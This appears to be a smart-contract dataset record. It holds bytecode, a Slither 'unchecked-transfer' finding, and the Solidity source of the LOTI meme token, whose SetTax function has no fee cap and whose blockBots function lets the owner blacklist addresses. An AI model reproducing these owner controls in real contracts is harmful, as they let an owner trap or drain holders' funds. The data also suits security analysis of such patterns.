40528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505088846119d0565b90506001151581151514610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612544565b60405180910390fd5b84600460008981526020019081526020016000205411610c89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8090612564565b60405180910390fd5b84600460008981526020019081526020016000206000828254610cac91906126f1565b92505081905550600160056000898152602001908152602001600020600088815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33886040518363ffffffff1660e01b8152600401610d4f9291906123f9565b602060405180830381600087803b158015610d6957600080fd5b505af1158015610d7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da19190611d7e565b90506001151581151514610dea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de1906125e4565b60405180910390fd5b7f717c9026c9c1962146b4b042eaefc02989d739febea1b24b057bd35e8b17165833898842604051610e1f94939291906123b4565b60405180910390a15050505050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ec1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb890612604565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054610f0d906127b9565b90501415610f50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4790612644565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd890612624565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805461102d906127b9565b80601f0160208091040260200160405190810160405280929190818152602001828054611059906127b9565b80156110a65780601f1061107b576101008083540402835291602001916110a6565b820191906000526020600020905b81548152906001019060200180831161108957829003601f168201915b50505050509050600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006110f89190611af9565b7f24d20fc7c5dfe41d9e7326b6dd6ffbc5ab97185b6d857ed2d6a15295806a68e23383834260405161112d94939291906122b5565b60405180910390a15050565b60606000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054611187906127b9565b905014156111ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c190612644565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054611214906127b9565b80601f0160208091040260200160405190810160405280929190818152602001828054611240906127b9565b801561128d5780601f106112625761010080835404028352916020019161128d565b820191906000526020600020905b81548152906001019060200180831161127057829003601f168201915b50505050509050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611329576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132090612604565b60405180910390fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161138691906121de565b60206040518083038186803b15801561139e57600080fd5b505afa1580156113b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d69190611ea0565b90506000811161141b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141290612524565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016114789291906123f9565b602060405180830381600087803b15801561149257600080fd5b505af11580156114a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ca9190611d7e565b507f5732ed4206f25b13036055672fde80082b4bae54436e1da42b0016950c134bf2333083426040516115009493929190612338565b60405180910390a150565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115bc90612604565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611656576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164d906124e4565b60405180910390fd5b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006116c89190611af9565b81600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600b81526020017f4d696e696e674f776e6572000000000000000000000000000000000000000000815250600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209080519060200190611791929190611b39565b507f68e48d3413ff1509bbe8de3131e03aa30501e5d46cd889fc6a80a8907b691451338284426040516117c79493929190612222565b60405180910390a15050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611863576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185a90612604565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156118ae573d6000803e3d6000fd5b50600080819055507ff7a6b9124ad7d9df9ca77a8475bc5db166c249579480d81d2ad8890f711da68d3382426040516118e993929190612470565b60405180910390a150565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161195191906121de565b60206040518083038186803b15801561196957600080fd5b505afa15801561197d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119a19190611ea0565b905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000826119dd85846119e7565b1490509392505050565b60008082905060005b8451811015611a51576000858281518110611a0e57611a0d6128c0565b5b60200260200101519050808311611a3057611a298382611a5c565b9250611a3d565b611a3a8184611a5c565b92505b508080611a49906127eb565b9150506119f0565b508091505092915050565b600082600052816020526040600020905092915050565b828054611a7f906127b9565b90600052602060002090601f016020900481019282611aa15760008555611ae8565b82601f10611aba57803560ff1916838001178555611ae8565b82800160010185558215611ae8579182015b82811115611ae7578235825591602001919060010190611acc565b5b509050611af59190611bbf565b5090565b508054611b05906127b9565b6000825580601f10611b175750611b36565b601f016020900490600052602060002090810190611b359190611bbf565b5b50565b828054611b45906127b9565b90600052602060002090601f016020900481019282611b675760008555611bae565b82601f10611b8057805160ff1916838001178555611bae565b82800160010185558215611bae579182015b82811115611bad578251825591602001919060010190611b92565b5b509050611bbb9190611bbf565b5090565b5b80821115611bd8576000816000905550600101611bc0565b5090565b600081359050611beb81612b38565b92915050565b60008083601f840112611c0757611c066128f4565b5b8235905067ffffffffffffffff811115611c2457611c236128ef565b5b602083019150836020820283011115611c4057611c3f6128f9565b5b9250929050565b600081519050611c5681612b4f565b92915050565b600081359050611c6b81612b66565b92915050565b60008083601f840112611c8757611c866128f4565b5b8235905067ffffffffffffffff811115611ca457611ca36128ef565b5b602083019150836001820283011115611cc057611cbf6128f9565b5b9250929050565b600081359050611cd681612b7d565b92915050565b600081519050611ceb81612b7d565b92915050565b600060208284031215611d0757611d06612903565b5b6000611d1584828501611bdc565b91505092915050565b600080600060408486031215611d3757611d36612903565b5b6000611d4586828701611bdc565b935050602084013567ffffffffffffffff811115611d6657611d656128fe565b5b611d7286828701611c71565b92509250509250925092565b600060208284031215611d9457611d93612903565b5b6000611da284828501611c47565b91505092915050565b600060208284031215611dc157611dc0612903565b5b6000611dcf84828501611c5c565b91505092915050565b60008060408385031215611def57611dee612903565b5b6000611dfd85828601611c5c565b9250506020611e0e85828601611cc7565b9150509250929050565b600080600080600060808688031215611e3457611e33612903565b5b6000611e4288828901611c5c565b9550506020611e5388828901611cc7565b9450506040611e6488828901611cc7565b935050606086013567ffffffffffffffff811115611e8557611e846128fe565b5b611e9188828901611bf1565b92509250509295509295909350565b600060208284031215611eb657611eb5612903565b5b6000611ec484828501611cdc565b91505092915050565b600080600060408486031215611ee657611ee5612903565b5b6000611ef486828701611cc7565b935050602084013567ffffffffffffffff811115611f1557611f146128fe565b5b611f2186828701611c71565b92509250509250925092565b611f3681612725565b82525050565b611f4d611f4882612725565b612834565b82525050565b611f5c81612737565b82525050565b611f6b81612743565b82525050565b6000611f7d838561268a565b9350611f8a838584612777565b611f9383612908565b840190509392505050565b6000611fa98261267f565b611fb3818561268a565b9350611fc3818560208601612786565b611fcc81612908565b840191505092915050565b6000611fe4602c8361268a565b9150611fef82612926565b604082019050919050565b6000612007601c8361268a565b915061201282612975565b602082019050919050565b600061202a600a8361268a565b91506120358261299e565b602082019050919050565b600061204d600c8361268a565b9150612058826129c7565b602082019050919050565b600061207060128361268a565b915061207b826129f0565b602082019050919050565b600061209360078361268a565b915061209e82612a19565b602082019050919050565b60006120b6600f8361268a565b91506120c182612a42565b602082019050919050565b60006120d9600b8361268a565b91506120e482612a6b565b602082019050919050565b60006120fc600e8361268a565b915061210782612a94565b602082019050919050565b600061211f60108361268a565b915061212a82612abd565b602082019050919050565b6000612142601a8361268a565b915061214d82612ae6565b602082019050919050565b600061216560108361268a565b915061217082612b0f565b602082019050919050565b6121848161276d565b82525050565b61219b6121968261276d565b612858565b82525050565b60006121ad828661218a565b6020820191506121bd8285611f3c565b6014820191506121cd828461218a565b602082019150819050949350505050565b60006020820190506121f36000830184611f2d565b92915050565b600060408201905061220e6000830185611f2d565b61221b6020830184611f2d565b9392505050565b60006080820190506122376000830187611f2d565b6122446020830186611f2d565b6122516040830185611f2d565b61225e606083018461217b565b95945050505050565b600060808201905061227c6000830188611f2d565b6122896020830187611f2d565b818103604083015261229c818587611f71565b90506122ab606083018461217b565b9695505050505050565b60006080820190506122ca6000830187611f2d565b6122d76020830186611f2d565b81810360408301526122e98185611f9e565b90506122f8606083018461217b565b95945050505050565b60006060820190506123166000830186611f2d565b6123236020830185611f2d565b612330604083018461217b565b949350505050565b600060808201905061234d6000830187611f2d565b61235a6020830186611f2d565b612367604083018561217b565b612374606083018461217b565b95945050505050565b60006060820190506123926000830186611f2d565b61239f6020830185611f62565b6123ac604083018461217b565b949350505050565b60006080820190506123c96000830187611f2d565b6123d66020830186611f62565b6123e3604083018561217b565b6123f0606083018461217b565b95945050505050565b600060408201905061240e6000830185611f2d565b61241b602083018461217b565b9392505050565b60006080820190506124376000830188611f2d565b612444602083018761217b565b8181036040830152612457818587611f71565b9050612466606083018461217b565b9695505050505050565b60006060820190506124856000830186611f2d565b612492602083018561217b565b61249f604083018461217b565b949350505050565b60006020820190506124bc6000830184611f53565b92915050565b600060208201905081810360008301526124dc8184611f9e565b905092915050565b600060208201905081810360008301526124fd81611fd7565b9050919050565b6000602082019050818103600083015261251d81611ffa565b9050919050565b6000602082019050818103600083015261253d8161201d565b9050919050565b6000602082019050818103600083015261255d81612040565b9050919050565b6000602082019050818103600083015261257d81612063565b9050919050565b6000602082019050818103600083015261259d81612086565b9050919050565b600060208201905081810360008301526125bd816120a9565b9050919050565b600060208201905081810360008301526125dd816120cc565b9050919050565b600060208201905081810360008301526125fd816120ef565b9050919050565b6000602082019050818103600083015261261d81612112565b9050919050565b6000602082019050818103600083015261263d81612135565b9050919050565b6000602082019050818103600083015261265d81612158565b9050919050565b6000602082019050612679600083018461217b565b92915050565b600081519050919050565b600082825260208201905092915050565b60006126a68261276d565b91506126b18361276d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126e6576126e5612862565b5b828201905092915050565b60006126fc8261276d565b91506127078361276d565b92508282101561271a57612719612862565b5b828203905092915050565b60006127308261274d565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b838110156127a4578082015181840152602081019050612789565b838111156127b3576000848401525b50505050565b600060028204905060018216806127d157607f821691505b602082108114156127e5576127e4612891565b5b50919050565b60006127f68261276d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561282957612828612862565b5b600182019050919050565b600061283f82612846565b9050919050565b600061285182612919565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f546865206e6577206f776e6572206d75737420626520646966666572656e742060008201527f66726f6d20746865206f6c640000000000000000000000000000000000000000602082015250565b7f546865206d65726b6c65526f6f7420646f65736e277420657869737400000000600082015250565b7f4e6f2062616c616e636500000000000000000000000000000000000000000000600082015250565b7f4e6f742076657269666965640000000000000000000000000000000000000000600082015250565b7f4e6f7420656e6f7567682062616c616e63650000000000000000000000000000600082015250565b7f4e6f206e616d6500000000000000000000000000000000000000000000000000600082015250565b7f416c726561647920636c61696d65640000000000000000000000000000000000600082015250565b7f4e6f7420616c6c6f776564000000000000000000000000000000000000000000600082015250565b7f7472616e73666572206572726f72000000000000000000000000000000000000600082015250565b7f6f6e6c79204d696e696e674f776e657200000000000000000000000000000000600082015250565b7f43616e206e6f742064656c657465204d696e696e674f776e6572000000000000600082015250565b7f4e6f20737563682061206b656570657200000000000000000000000000000000600082015250565b612b4181612725565b8114612b4c57600080fd5b50565b612b5881612737565b8114612b6357600080fd5b50565b612b6f81612743565b8114612b7a57600080fd5b50565b612b868161276d565b8114612b9157600080fd5b5056fea2646970667358221220325aacaff4206c6970d4c7d40b2890f2c57e79a2e53ba7c2c4de371df2f446fc64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 4,165 |
0x9128ebf03966d7a8badd0943104e9472f4370ddf
|
/*
Luck of the Irish ($LOTI) token will be a community based giveaway and donation token.
________
| | .###@@::;%%&&00'
_ _|===[]===|_ .###@@::;%%&&00'
/ \_(____________) .###@@::;%%&&00'
\ / (88 6 6 88) .###@@::;%%&&00'
\/\ 88: 7 :88` .###@@::;%%&&00'
\/\ 888'=='888' .###@@::;%%&&00'
\ \_'888888'_________.###@@::;%%&&00'
\___<\""/>_____/_/_-'##@Oo@o%&&00'
/ >< \ .##oO@Oo@O@o&00'
/__/--\__\ (oO@OoO@@o@oO@@o)
'-.______.-' /`"""""""""""""`\
_|_||_|_ | Happy |
___LI)||(LI___ | St. Patrick's |
( ~~ || ~~ ) \ Day! /
`-----''-----` '.___________.'
OFFICIAL TELEGRAM: https://t.me/LuckOfTheIrishPortal
TAX: 9% BUY / 12% Sell
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract LuckOfTheIrish is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Luck of the Irish";//
string private constant _symbol = "LOTI";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 9;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 12;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x5809b1298321E76D7b83E9cA14F2a0DB5124ee77);//
address payable private _marketingAddress = payable(0x5809b1298321E76D7b83E9cA14F2a0DB5124ee77);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = true;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 7500000000 * 10**9; //
uint256 public _maxWalletSize = 15000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function SetTax(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101ba5760003560e01c8063715018a6116100ec578063a9059cbb1161008a578063c492f04611610064578063c492f046146105e0578063dd62ed3e14610609578063ea1644d514610646578063f2fde38b1461066f576101c1565b8063a9059cbb1461054f578063bfd792841461058c578063c3c8cd80146105c9576101c1565b80638da5cb5b116100c65780638da5cb5b146104a55780638f9a55c0146104d057806395d89b41146104fb57806398a5c31514610526576101c1565b8063715018a61461043a57806374010ece146104515780637d1db4a51461047a576101c1565b80632fd689e3116101595780636b999053116101335780636b999053146103945780636d8aa8f8146103bd5780636fc3eaec146103e657806370a08231146103fd576101c1565b80632fd689e314610313578063313ce5671461033e57806349bd5a5e14610369576101c1565b80631694505e116101955780631694505e1461025757806318160ddd146102825780631e1f1f02146102ad57806323b872dd146102d6576101c1565b8062b8cf2a146101c657806306fdde03146101ef578063095ea7b31461021a576101c1565b366101c157005b600080fd5b3480156101d257600080fd5b506101ed60048036038101906101e89190612dc3565b610698565b005b3480156101fb57600080fd5b506102046107c2565b6040516102119190613220565b60405180910390f35b34801561022657600080fd5b50610241600480360381019061023c9190612d23565b6107ff565b60405161024e91906131ea565b60405180910390f35b34801561026357600080fd5b5061026c61081d565b6040516102799190613205565b60405180910390f35b34801561028e57600080fd5b50610297610843565b6040516102a49190613402565b60405180910390f35b3480156102b957600080fd5b506102d460048036038101906102cf9190612e66565b610854565b005b3480156102e257600080fd5b506102fd60048036038101906102f89190612cd0565b61090b565b60405161030a91906131ea565b60405180910390f35b34801561031f57600080fd5b506103286109e4565b6040516103359190613402565b60405180910390f35b34801561034a57600080fd5b506103536109ea565b6040516103609190613477565b60405180910390f35b34801561037557600080fd5b5061037e6109f3565b60405161038b91906131cf565b60405180910390f35b3480156103a057600080fd5b506103bb60048036038101906103b69190612c36565b610a19565b005b3480156103c957600080fd5b506103e460048036038101906103df9190612e0c565b610b09565b005b3480156103f257600080fd5b506103fb610bbb565b005b34801561040957600080fd5b50610424600480360381019061041f9190612c36565b610c8c565b6040516104319190613402565b60405180910390f35b34801561044657600080fd5b5061044f610cdd565b005b3480156104